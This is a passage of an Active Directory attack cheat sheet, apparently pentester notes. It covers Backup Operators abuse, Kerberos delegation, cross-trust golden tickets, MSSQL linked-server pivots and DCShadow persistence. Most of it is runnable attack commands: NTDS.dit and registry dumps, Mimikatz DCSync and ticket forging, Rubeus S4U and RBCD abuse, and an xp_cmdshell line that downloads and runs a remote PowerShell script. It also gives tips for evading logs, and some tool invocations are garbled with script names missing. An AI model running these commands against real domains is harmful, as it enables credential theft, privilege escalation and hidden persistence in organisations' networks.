sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns

Schema Admins

These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

Change ACLs on the groups

Give full rights to a user on the groups

$creds = New-Object System.Management.Automation.PSCredential ("contoso.local\user", (ConvertTo-SecureString "Pass" -AsPlainText -Force));
Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=contoso,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.contoso.local -Credential $creds

When a new group is created we can add any user to it with the user who has full rights

$User = Get-ADUser -Identity "CN=emma,CN=Users,DC=contoso,DC=local"; 
$Group = Get-ADGroup -Identity "CN=admingroup,CN=Users,DC=contoso,DC=local";
$creds = New-Object System.Management.Automation.PSCredential ("contoso.local\user", (ConvertTo-SecureString "Pass" -AsPlainText -Force));
Add-ADGroupMember -Identity $Group -Members $User -Server dc.contoso.local -Credential $creds

Backup Operators

Can normally log in on any machines of the domain.

File System Backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup.
To backup a folder:
robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E

To backup with Diskshadow + Robocopy:

  • Create a script.txt file to backup with Diskshadow
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
expose %cdrive% E:X
end backupX
  • Backup with diskshadow /s script.txt
  • Retrieve the backup with robocopy and send the NTDS file in the current folder : robocopy /b E:\Windows\ntds . ntds.dit
  • Then retrieve the SYSTEM registry hive to decrypt and profit reg save hklm\system c:\temp\system
To backup with Diskshadow + DLLs:
  • Similar script for Diskshadow
set context persistent nowritersx
set metadata c:\windows\system32\spool\drivers\color\example.cabx
add volume c: alias someAliasx
expose %someAlias% z:x
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx
delete shadows volume %someAlias%x
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite
reg save HKLM\SYSTEM c:\temp\system.hive

Registry read rights

The Backup Operators can read all the machines registry

python3 -dc-ip $IP 'constoso.local'/'user':'Password123'@machine.contoso.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

  • Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the Domain Controller policy
  • Get the file at the path \\primary.megabank.local\SYSVOL\megabank.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf and add whatever you want in it
  • Write the file with robocopy:
powershell robocopy "C:\tmp" "\\dc.contoso.local\SYSVOL\contoso.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB

Kerberos Delegation

  • A user provides credentials to the Domain Controller.

  • The DC returns a TGT.

  • The user requests a TGS for the web service on Web Server.

  • The DC provides a TGS.

  • The user sends the TGT and TGS to the web server.

  • The web server service account use the user's TGT to request a TGS for the database server from the DC.

  • The web server service account connects to the database server as the user.

There are two main types of delegation :

  • Unconstrained Delegation : the first hop server can request access to any service on any computer

  • Constrained Delegation : the first hop server has a list of service it can request

Unconstrained Delegation

Machine In Unconstrained Delegation

  • The DC places user's TGT inside TGS. When presented to the server with unconstrained delegation, the TGT is extracted from TGS and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user.

  • This could be used to escalate privileges in case we can compromise the computer with unconstrained delegation and a Domain Admin connects to that machine.

Enumerate computers with Unconstrained Delegation
Get-NetComputer -UnConstrained

#With AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Get admin token

After compromising the computer with UD enabled, we can trick or wait for an admin connection

#Check if a token is available
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#If yes
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Reuse the token
Invoke-Mimikatz -Command '"kerberos::ptt [0;2ceb8b3]-2-0-60a10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi"'

Printer bug

To force a high privilegied user to connect to a server with UD. Can be performed with the MS-RPRN feature

On the compromised machine, capture the TGT of DC$ :

.\Rubeus.exe monitor /interval:5 /nowrap

On the attacker machine run :

.\MS-RPRN.exe \\dc.domain.local \\computer.domain.local
.\Rubeus.exe ptt /ticket:...

#DCSync with the dc TGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' 

User in Unconstrained Delegation

If we have enough rights against a user in UD to add a SPN on it and change its password, we can try to use it to retrieve a machine account password from a printer bug (or PetitPotam for example)

  • Add a new DNS record on the domain that point to our IP
  • Add a SPN on the user that point to the DNS record and change his password (will be usefull for the tool
  • Trigger the printer bug and grab the TGT on krbrelayx that is listenning for it

Since the user is in Unconstrained Delegation, when the machine account will send the TGS to SPN it will automatically send a second request with its TGT, and because the SPN is pointing to use with the DNS record, we can retrieve the TGT

#Add the SPN with the Microsoft module
Set-ADUser -Identity USER_TARGET -ServicePrincipalName @{Add='HOST/test.contoso.local'}

#Create the DNS record
powerpick Invoke-DNSUpdate -DNSType A -DNSName test.contoso.local -DNSData -Realm contoso.local

#Run krbrelayx with the hash of the password setup on the UD user
proxychains4 python3 -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.contoso.local

#Trigger the printer bug
proxychains4 python3 testsegment/testuser@exchange.contoso.local test.contoso.local

Constrained Delegation

A typical scenario where constrained delegation is used - A user authenticates to a web service without using Kerberos and the web service makes requests to a database server to fetch results based on the user's authorization.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

  • Service for User to Self (S4U2self) - Allows a service to obtain a forwardable TGS to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute.

  • Service for User to Proxy (S4U2proxy) - Allows a service to obtain a TGS to a second service on behalf of a user. Which second service? This is controlled by msDS-AllowedToDelegateTo attribute. This attribute contains a list of SPNs to which the user tokens can be forwarded.

As an example :

  • A user - Joe, authenticates to the web service (running with service account websvc) using a non-Kerberos compatible authentication mechanism.

  • The web service requests a ticket from the Key Distribution Center (KDC) for Joe's account without supplying a password, as the websvc account.

  • The KDC checks the websvc userAccountControl value for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute, and that Joe's account is not blocked for delegation. If OK it returns a forwardable ticket for Joe's account (S4U2Self).

  • The service then passes this ticket back to the KDC and requests a service ticket for the CIFS/dcorpmssql.dollarcorp.moneycorp.local service.

  • The KDC checks the msDS-AllowedToDelegateTo field on the websvc account. If the service is listed it will return a service ticket for dcorp-mssql (S4U2Proxy).

  • The web service can now authenticate to the CIFS on dcorpmssql as Joe using the supplied TGS.

Enumerate users and computers with CD enabled

Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo


#With kekeo
tgt::ask /user:websvc /domain:domain.local /rc4:cc098f204c5887eaa8253e7c2749156f

#With Rubeus (TGT + TGS in one command)
.\Rubeus.exe s4u /user:<user> /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/computer.domain.LOCAL" /ptt

If we have a session as the user, we can just run .\Rubeus.exe tgtdeleg /nowrapto get the delegation TGT in Base64 en then run

.\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt

Use s4u from kekeo

tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:cifs/computer.domain.LOCAL

Inject the ticket

Invoke-Mimikatz -Command '"kerberos::ptt TGS.kirbi"'

ls \\computer.domain.local\c$ 


The delegation occurs not only for the specified service but for any service running under the same account.
There is no validation for the SPN specified.

#With kekeo_one
tgt::ask /user:user /domain:domain.local /rc4:1fadb1b13edbc5a61cbdc389e6f34c67
tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:time/computer.domain.LOCAL|ldap/computer.domain.LOCAL

#With Rubeus
.\Rubeus.exe s4u /user:user /rc4:1fadb1b13edbc5a61cbdc389e6f34c67 /impersonateuser:Administrator /msdsspn:"time/computer.domain.LOCAL" /altservice:ldap /ptt

And the ticket injection :

Invoke-Mimikatz -Command '"kerberos::ptt TG.kirbi"'

Resource-Based Constrained Delegation


  • The DC has to be at least a Windows Server 2012

  • Domain users can create some machines, ms-ds-machineaccountquota must not being to 0

#To verify
Get-DomainObject -Identity "dc=offense,dc=local" -Domain offense.local
  • Write rights on the target machine (GenericAll, GenericWrite, AllExtendedRights)

  • Target computer, object must not have the attribute msds-allowedtoactonbehalfofotheridentity set

Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

Classic RBCD

  • Add a fake machine account in the domain
  • Add it the to msds-allowedtoactonbehalfofotheridentity attribute of the target machine
Import-Module Powermad.ps1
Import-Module PowerView.ps1

#Creds if needed, to run as another user
$SecPassword = ConvertTo-SecureString 'SuperP4ss' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso.local\michel', $SecPassword)

#Check requirements
Get-DomainObject -Identity "dc=contoso,dc=local" -Domain contoso.local -Credential $Cred
Get-NetComputer ws01 -Domain contoso.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Add the fake machine as a ressource + get its SID
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain contoso.local -DomainController DC.contoso.local
Get-DomainComputer fake01 -Domain contoso.local -Credential $Cred
$ComputerSid = Get-DomainComputer fake01 -Properties objectsid | Select -Expand objectsid

#Add the new raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Add the new resource to msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer ws01 -SearchBase "LDAP://DC=contoso,DC=local" -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=contoso,DC=local" -Verbose -Credential $Cred

#Check if well added
$RawBytes = Get-DomainComputer ws01 -Properties 'msds-allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase "LDAP://DC=contoso,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
Create the ticket
  • Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not protected)
  • Use the S4UProxy function to obtain a TGS for the impersonated user for the wanted service on the target machine
.\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:contoso.local
./rubeus.exe s4u /user:fake01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:host/ws01 /domain:CONTOSO.LOCAL /ptt /dc:DC.CONTOSO.LOCAL

Impersonate via RBCD Self Request

It is possible to impersonate a protected user with the S4USelf request in a RBCD if we have a TGT for the target machine (for example with an Unconstrained Delegation)
The idea is to get a TGT for the protected user with the S4USelf request and the target machine TGT (intended, normally this is the S4UProxy request that can't be realised with a protected user), and directly modify the service in the TGT in order to target an arbitrary SPN on the target machine:
execute-assembly ./Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw=  /domain:contoso.local /altservice:cifs/machine.contoso.local /ptt

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account

  • Create a DNS record in order to be able to leak the NTLM hash externally
  • Use the xp_dirtree function to the created DNS record. This will force the authentication and leak the hash
  • Relay the machine hash to the LDAP server to add a controlled account (with a SPN for the S4USelf request after) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine
  • Now we can ask a TGS for a user we want to impersonate for a service on the machine
#Add the DNS
Invoke-DNSUpdate -DNSType A -DNSName test.contoso.local -DNSData -Realm contoso.local

#On our machine, waiting for the leak
proxychains python $DC_IP contoso.local 'MACHINE$' accountWithSPN

#ON the MSSQL server
SQLCMD -S MACHINE\INSTANCE -Q "exec master.dbo.xp_dirtree '\\test@80\a'" -U Admin -P Admin

#After the attack, ask for a TGS
proxychains contoso.local/accountWithSPN:Password123 -spn cifs/machine.contoso.local -dc-ip $DC_IP -impersonate admin
proxychains python3 -k -no-pass -dc-ip $DC_IP 'contoso.local'/'admin'@machine.contoso.local

Across Trust

Child to parent domain

There are two ways for escalating privileges between two domains on same forest with a Child-Parent relation, with the SID history of Enterprise Admins :

  • Krbtgt hash

  • Trust tickets

Trust tickets

Get the trust key, look at the [in] value in the result

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'

Forge the inter-realm TGT :

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:parentDomain.local /ticket:C:\tools\kekepo_old\trust_tkt.kirbi"'

Invoke-Mimikatz Parameters



The mimikatz module


FQDN of the current domain


SID of the current domain


SID of the enterprise admins group of the parent domain


RC4 of the trust key


User to impersonate


Target service in the parent domain


FQDN of the parent domain


Path where ticket is to be saved

Create a TGS with the previous TGT :

.\asktgs.exe C:\tools\kekeo_old\trust_tkt.kirbi CIFS/dc.parentDomain.local

Access to the service :

#New tool for more fun
.\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi
ls \dc.parentDomain.local\c$

#Or classicaly
.\Rubeus.exe asktgs /ticket:C:\tools\kekeo_old\trust_tkt.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$

krbtgt hash

We get the krbtgt hash, and make the same attack on the SID history of Enterprise Admin

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\tools\krbtgt_tkt.kirbi"'

Then, we can work with the previously created TGT :

Invoke-Mimikatz -Command '"kerberos::ptt C:\tools\krbtgt_tkt.kirbi"' 

ls \dc.parentDomain.local.kirbi\c$
gwmi -class win32_operatingsystem -ComputerName dc.parentDomain.local

To avoid some suspicious logs, use SidHistory :

Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator /domain:parentDomain.local"' 
  • S-1-5-21-2578538781-2508153159-3419410681-516 – Domain Controllers

  • S-1-5-9 – Enterprise Domain Controllers

Across Forest

Get the Trust Key

Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Get the ForeignSecurityPrincipal

#These SIDs can access to the target domain
Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"}

#With the by default SIDs, we find S-1-5-21-493355955-4215530352-779396340-1104
#We search it in our current domain
Get-DomainObject |? {$_.objectsid -match "S-1-5-21-493355955-4215530352-779396340-1104"}

Forge the inter-forest TGT

For the domain admin (UID 500)

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:cd3fb1b0b49c7a56d285ffdbb1304431 /service:krbtgt /target:targetDomain.local /ticket:C:\tools\kekeo_old\trust_forest_tkt.kirbi"'

For a specific user (with the /id parameter)

Invoke-Mimikatz -Command '"Kerberos::golden /user:foreignUser /domain:domain.local /sid:S-1-5-21-493355955-4215530352-779396340 /id:1104 /rc4:7d8c19edf8e9697e4f7c214cc8b0ff6a /service:krbtgt /target:targetDomain.local /ticket:.\trust_forest_tkt.kirbi"'

Get a TGS

.\asktgs.exe C:\tools\kekeo_old\trust_forest_tkt.kirbi CIFS/computer.targetDomain.local

Inject and use the TGS

.\kirbikator.exe lsa .\
ls \\computer.targetDomain.local\share\

With Rubeus :

.\Rubeus.exe asktgs /ticket:C:\tools\kekeo_old\trust_forest_tkt.kirbi /service:cifs/computer.targetDomain.local /dc:computer.targetDomain.local /ptt
ls \\computer.targetDomain.local\share\

MSSQL Server

Enumerate SPN


Check Access

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Check impersonation rights

Invoke-SQLAudit -Verbose -Instance <instanceName>

Gather Informations

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Enumerate SQL Server links

Get-SQLServerLinkCrawl -Instance <instanceName> -Verbose
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')

Impersonate an user

Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose

#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"

Execute commands on target server

  • On the target server, either xp_cmdshell should be already enabled; or

  • If rpcout is enabled (disabled by default), xp_cmdshell can be enabled using: EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

  • If rpcout is disabled but we are sa, it can be enabled with EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';

Get-SQLServerLinkCrawl -Instance <instanceName> -Query "exec master..xp_cmdshell 'whoami'"
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from openquery("<secondLinkedInstance>",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'')"'

Basic SQL Server queries for DB enumeration

#View all db in an instance
Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"

#View all tables
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES" 

#View all cols in all tables in a db
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"

#View data in table
Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"

Works also with Get-SQLServerLinkCrawl

Forest Persistence - DCShadow

  • DCShadow temporarily registers a new domain controller in the target domain and uses it to "push" attributes like SIDHistory, SPNs etc) on specified objects without leaving the change logs for modified object!

  • The new domain controller is registered by modifying the Configuration container, SPNs of an existing computer object and couple of RPC services.

  • Because the attributes are changed from a "domain controller", there are no directory change logs on the actual DC for the target object.

  • By default, DA privileges are required to use DCShadow.

  • The attacker's machine must be part of the root domain.

The attack needs 2 instances on a compromised machine (the compromised machine needs to be on the Root Domain) :

  • One to start RPC servers with SYSTEM privileges and specify attributes to be modified (launch with "Run As Administrator"

#Set SYSTEM privs to the process
#Launch the server
lsadump::dcshadow /object:<objectName> /attribute:Description /value="Hello from DCShadow"
  • And second with enough privileges (DA or otherwise) to push the values :
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<adminHash> /impersonate
lsadump::dcshadow /push

Minimal permissions

DCShadow can be used with minimal permissions by modifying ACLs of :

  • The domain object.

    • DS-Install-Replica (Add/Remove Replica in Domain)

    • DS-Replication-Manage-Topology (Manage Replication Topology)

    • DS-Replication-Synchronize (Replication Synchornization)

  • The Sites object (and its children) in the Configuration container.

    • CreateChild and DeleteChild

  • The object of the computer which is registered as a DC.

    • WriteProperty (Not Write)

  • The target object.

    • WriteProperty (Not Write)

Set-DCShadowPermissions can be used

To use DCShadow as user user1 to modify user2 object from machine computer1

Set-DCShadowPermissions -FakeDC computer1 -SAMAccountName user2 -Username user1 -Verbose

Now, the second mimkatz instance (which runs as DA) is not required.

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user

We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end.

#Read the current ACL of high priv groups
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

Get the SID of our user and append it at the end of the ACLs, with the ACE of BA for example


Then launch DCShadow like this :

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>

Set a SPN on an user

lsadump::dcshadow /object:<object> /attribute:servicePrincipalName /value:"DCReplication/DC168"


We can even run DCShadow from DCShadow which I have named Shadowception.

We need to append following ACEs with our user's SID at the end:
  • On the domain object: (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID) (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID) (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • On the attacker computer object: (A;;WP;;;UserSID)

  • On the target user object: (A;;WP;;;UserSID)

  • On the Sites object in Configuration container: (A;CI;CCDC;;;UserSID)

Get the ACLs

Get the ACLs for the Domain Object :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the attacker machine :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=attackerMachine,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the target user :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=targetUser,CN=Users,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the Site Container :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

Stack the queries

After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query
For each one :
lsadump::dcshadow /stack /object:<LDAP_object_path> /attribute:ntSecurityDescriptor /value:<newACL_after_append>

Then just lsadump::dcshadow

DCShadow can now be run from a user DCShadow-ed


Some good blogs and websites where i have found lots of things presented here: